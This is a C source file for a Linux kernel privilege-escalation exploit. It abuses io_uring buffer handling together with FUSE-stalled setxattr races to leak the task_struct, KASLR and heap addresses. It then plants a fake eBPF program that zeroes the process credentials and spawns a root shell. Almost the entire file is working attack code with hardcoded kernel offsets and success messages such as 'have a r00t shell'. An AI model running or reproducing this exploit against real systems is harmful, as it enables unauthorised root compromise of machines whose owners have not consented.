#define _GNU_SOURCE   
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/poll.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <time.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>

#include "bpf_defs.h"

#define PAGESIZE 4096

#define BPF_PROG_RUN_OFFSET      0xFE260

#define TASK_STRUCT_CRED_OFFSET  0x6E0
#define CRED_UID_OFFSET          0x4
#define CRED_EUID_OFFSET         0x14


#include "liburing.h"


void* copy_map1 = NULL;
void* copy_map2 = NULL;
void* copy_map3 = NULL;
void* sleep_map1 = NULL;
void* sleep_map2 = NULL;
void* sleep_map3 = NULL;
void* block_map1 = NULL;

long task_struct_addr = 0;
int* upper_tsk = (int*)&task_struct_addr + 1;
int* lower_tsk = (int*)&task_struct_addr;
long bpf_prog_run32_addr = 0;
long fake_bpf_prog_addr = 0;

int procmaps_fd = -1;

struct io_uring ring = {0};

int group_id1 = 0x1337;
int group_id2 = 0x333;
char bufs1[4096][0x100] = {0};
char bufs2[4096][0x100] = {0};

pthread_mutex_t lock1 = {0};
pthread_mutex_t lock2 = {0};
pthread_mutex_t lock3 = {0};
pthread_mutex_t lock4 = {0};
pthread_mutex_t lock5 = {0};

int setup_fuse(void)
{
    int ret = -1;
    char* cmd = "mkdir -p /tmp/fuse_mount && ./hello /tmp/fuse_mount";
    int fuse_fd1 = -1;
    int fuse_fd2 = -1;
    int fuse_fd3 = -1;
    int fuse_fd4 = -1;

    if(0 != system(cmd))
    {
        goto done;
    }

    fuse_fd1 = open("/tmp/fuse_mount/task", O_RDWR);

    if(fuse_fd1 < 0)
    {
        goto done;
    }

    copy_map1 = mmap((void*)0x1000, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    if(MAP_FAILED == copy_map1)
    {
        goto done;
    }

    sleep_map1 = mmap(copy_map1 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd1, 0);

    if((copy_map1 + PAGESIZE) != sleep_map1)
    {
        goto done;
    }

    fuse_fd2 = open("/tmp/fuse_mount/seqop", O_RDWR);

    if(fuse_fd2 < 0)
    {
        goto done;
    }

    copy_map2 = mmap(sleep_map1 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    if(MAP_FAILED == copy_map2)
    {
        goto done;
    }

    sleep_map2 = mmap(copy_map2 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd2, 0);

    if((copy_map2 + PAGESIZE) != sleep_map2)
    {
        goto done;
    }

    fuse_fd3 = open("/tmp/fuse_mount/iobuf", O_RDWR);

    if(fuse_fd3 < 0)
    {
        goto done;
    }

    copy_map3 = mmap(sleep_map2 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    if(MAP_FAILED == copy_map3)
    {
        goto done;
    }

    sleep_map3 = mmap(copy_map3 + PAGESIZE, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd3, 0);

    if((copy_map3 + PAGESIZE) != sleep_map3)
    {
        goto done;
    }

    fuse_fd4 = open("/tmp/fuse_mount/bpfprog", O_RDWR);

    if(fuse_fd4 < 0)
    {
        goto done;
    }

    block_map1 = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd4, 0);

    if(MAP_FAILED == block_map1)
    {
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int setup_bpf(void)
{
    int ret = -1;

    struct bpf_insn insn[] = 
    {
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()
    };

    if(0 != load_bpf_prog(insn, sizeof(insn) / sizeof(insn[0])))
    {
        printf("[-] failed to load eBPF program!\n");
        goto done;
    }

    ret = 0;

done:
    return ret;
}

void do_setxattr(void* xattr_buf, void* leakbuf, pthread_mutex_t* lock)
{
    pthread_mutex_unlock(lock);

    setxattr("lol.txt", "user.lol", xattr_buf, 32, 0);
    getxattr("lol.txt", "user.lol", leakbuf, 32);
}

long prep_setxattr(long cmd)
{  
    long ret = 0;
    char* xattr_buf = NULL;
    long* retptr = NULL;
    long* leakptr = NULL;
    pthread_mutex_t* lock = NULL;
    long leak[4] = {0};

    struct bpf_insn exploit[] = 
    {
        BPF_MOV32_IMM(BPF_REG_0, 0),
        BPF_MOV32_IMM(BPF_REG_1, *upper_tsk),
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
        BPF_MOV32_IMM(BPF_REG_2, *lower_tsk),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
        BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, TASK_STRUCT_CRED_OFFSET),
        BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, CRED_UID_OFFSET),
        BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, CRED_EUID_OFFSET),
        BPF_EXIT_INSN()
    };

    switch(cmd)
    {
        case 0:
            xattr_buf = copy_map1 + PAGESIZE - 31;
            retptr = &leak[2];
            leakptr = leak;
            lock = &lock1;
            break;
        case 1:
            xattr_buf = copy_map2 + PAGESIZE - 31;
            retptr = &leak[2];
            leakptr = leak;
            lock = &lock2;
            break;
        case 2:
            xattr_buf = copy_map3 + PAGESIZE - 31;
            retptr = &leak[1];
            leakptr = leak;
            lock = &lock3;
            break;
        case 3:
            xattr_buf = copy_map1;
            memcpy(xattr_buf, &bpf_prog_run32_addr, sizeof(long));
            memcpy(xattr_buf + 0x18, &exploit, sizeof(exploit));
            leakptr = block_map1;
            lock = &lock3;
            break;
        case 4:
            xattr_buf = copy_map2;
            memcpy(xattr_buf, &exploit[1], sizeof(exploit) - sizeof(exploit[0]));
            leakptr = block_map1;
            lock = &lock3;
            break;
        case 5:
            xattr_buf = copy_map3;
            leakptr = block_map1;
            memcpy(xattr_buf, &exploit[5], sizeof(exploit) - sizeof(exploit[0])*5);
            lock = &lock3;
            break;
        case 6:
            xattr_buf = copy_map3;
            leakptr = block_map1;
            memcpy(xattr_buf + 0x18, &fake_bpf_prog_addr, sizeof(long));
            lock = &lock4;
            break;
    }

    do_setxattr(xattr_buf, leakptr, lock);

    return *retptr;
}

void* do_io_uring(void* blah)
{
    struct io_uring_sqe* sqe = NULL;
    struct io_uring_cqe* cqe = NULL;
    struct timespec tim = {0};
    cpu_set_t mask = {0};
    tim.tv_nsec = 3001337;

    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);

    pthread_mutex_lock(&lock1);
    nanosleep(&tim, NULL);

    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_provide_buffers(sqe, bufs2, 0x100, 2, group_id2, 0);
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    if(0 != io_uring_register_iowq_aff(&ring, sizeof(cpu_set_t), &mask))
    {
        fprintf(stderr, "++ register failed: %m\n");
    }
    
    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_read(sqe, procmaps_fd, bufs1[3], 0x20, 0);
    io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT);
    sqe->buf_group = group_id1;
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    pthread_mutex_unlock(&lock1);
    pthread_mutex_lock(&lock2);
    nanosleep(&tim, NULL);

    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_read(sqe, procmaps_fd, bufs1[0], 0x40, 0);
    io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT);
    sqe->buf_group = group_id1;
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    open("/proc/cmdline", O_RDONLY);

    pthread_mutex_lock(&lock3);
    nanosleep(&tim, NULL);

    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_read(sqe, procmaps_fd, bufs1[0], 0x20, 0);
    io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT);
    sqe->buf_group = group_id1;
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_provide_buffers(sqe, bufs1, 0x100, 2, group_id1, 0);
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    pthread_mutex_lock(&lock5);

}

void* do_io_uring2(void* blah)
{
    struct io_uring_sqe* sqe = NULL;
    struct io_uring_cqe* cqe = NULL;
    struct timespec tim = {0};
    cpu_set_t mask = {0};
    tim.tv_nsec = 3001337;

    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);
    
    nanosleep(&tim, NULL);
    pthread_mutex_lock(&lock1);

    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_provide_buffers(sqe, bufs2, 0x100, 2, group_id2, 0);
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    pthread_mutex_lock(&lock4);

    run_bpf_prog();

    if(0 == getuid())
    {
        sleep(1);
        printf("[+] it worked! have a r00t shell :)\n");
        system("sh");
    }
    
}

void* setxattr_thread_routine(void* cmd)
{
    struct timespec tim = {0};
    cpu_set_t mask = {0};

    tim.tv_nsec = 1001337;

    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);

    pthread_mutex_lock(&lock3);
    nanosleep(&tim, NULL);

    prep_setxattr((long)cmd);
}

void create_setxattr_threads(void)
{
    struct timespec tim = {0};
    pthread_t thread1 = {0};
    pthread_t thread2 = {0};
    pthread_t thread3 = {0};

    tim.tv_nsec = 2001337;
    
    pthread_create(&thread1, NULL, setxattr_thread_routine, (void*)3);
    nanosleep(&tim, NULL);
    pthread_create(&thread2, NULL, setxattr_thread_routine, (void*)4);
    nanosleep(&tim, NULL);
    pthread_create(&thread3, NULL, setxattr_thread_routine, (void*)5);
}

void create_io_uring_threads(void)
{
    pthread_t thread1 = {0};
    pthread_t thread2 = {0};
    
    pthread_create(&thread1, NULL, do_io_uring, NULL);
    pthread_create(&thread2, NULL, do_io_uring2, NULL);
}

int setup(void)
{
    int ret = -1;
    int lol_fd = -1;
    cpu_set_t mask = {0};
    struct io_uring_params params = {0};
    struct io_uring_sqe* sqe = NULL;
    struct io_uring_cqe* cqe = NULL;

    pthread_mutex_lock(&lock1);
    pthread_mutex_lock(&lock2);
    pthread_mutex_lock(&lock3);
    pthread_mutex_lock(&lock4);
    pthread_mutex_lock(&lock5);

    lol_fd = open("lol.txt", O_RDWR | O_CREAT, 0666);

    if(lol_fd < 0)
    {
        printf("[-] failed to create setxattr file!\n");
        goto done;
    }

    printf("[+] set/getxattr file created\n");

    if(0 != setup_bpf())
    {
        printf("[-] failed to setup eBPF!\n");
        goto done;
    }

    printf("[+] bpf program loaded created\n");

    if (0 != setup_fuse())
    {
        printf("[-] failed to setup FUSE\n");
        goto done;
    }

    printf("[+] FUSE maps created\n");
    
    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);
    
    create_io_uring_threads();
    create_setxattr_threads();

    procmaps_fd = open("/proc/self/maps", O_RDONLY);

    printf("[+] opened /proc/self/maps\n");

    if(0 > procmaps_fd)
    {
        printf("[-] failed to open /proc/self/maps!\n");
        goto done;
    }

    if(0 != io_uring_queue_init_params(2048, &ring, &params))
    {
        printf("[-] failed to initialize io_uring!\n");
        goto done;
    }

    printf("[+] io_uring initialized\n");

    if(0 != io_uring_register_iowq_aff(&ring, sizeof(cpu_set_t), &mask))
    {
        fprintf(stderr, "++ register failed: %m\n");
        goto done;
    }

    printf("[+] spraying kmalloc-32 cache with io_buffer structs!!\n");

    sqe = io_uring_get_sqe(&ring);

    io_uring_prep_provide_buffers(sqe, bufs1, 0x100, 1000, group_id1, 3);
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    if (0 > cqe->res)
    {
        printf("[-] submit buffers failed!\n");
        goto done;
    }

    printf("[!] vuln trigger #1 for task_struct leak\n");
    
    task_struct_addr = prep_setxattr(0);
    printf("[+] task_struct: %lx\n", task_struct_addr);
    
    printf("[!] vuln trigger #2 for KASLR leak \n");
    bpf_prog_run32_addr = prep_setxattr(1) - BPF_PROG_RUN_OFFSET;

    printf("[!] single_next: %lx\n", bpf_prog_run32_addr + BPF_PROG_RUN_OFFSET);

    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_provide_buffers(sqe, bufs1, 0x100, 1000, group_id1, 0);
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    printf("[!] vuln trigger #3 for cache ptr leak\n");
    fake_bpf_prog_addr = prep_setxattr(2) + 0x30;
    printf("[+] fake bpf_prog: %lx\n", fake_bpf_prog_addr);

    sqe = io_uring_get_sqe(&ring);

    io_uring_prep_provide_buffers(sqe, bufs1, 0x100, 5, group_id1, 0);
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    attach_bpf_prog();

    sqe = io_uring_get_sqe(&ring);
    io_uring_prep_read(sqe, procmaps_fd, bufs1[0], 0x20, 0);
    io_uring_sqe_set_flags(sqe, IOSQE_BUFFER_SELECT);
    sqe->buf_group = group_id1;
    io_uring_submit(&ring);
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);

    printf("[!] vuln trigger #4 to overwrite socket filter\n");
    prep_setxattr(6);

done:
    getchar();
    return ret;

}

int main(int argc, char **argv)
{

    if(0 != setup())
    {
        printf("[-] setup failed!\n");
    }
}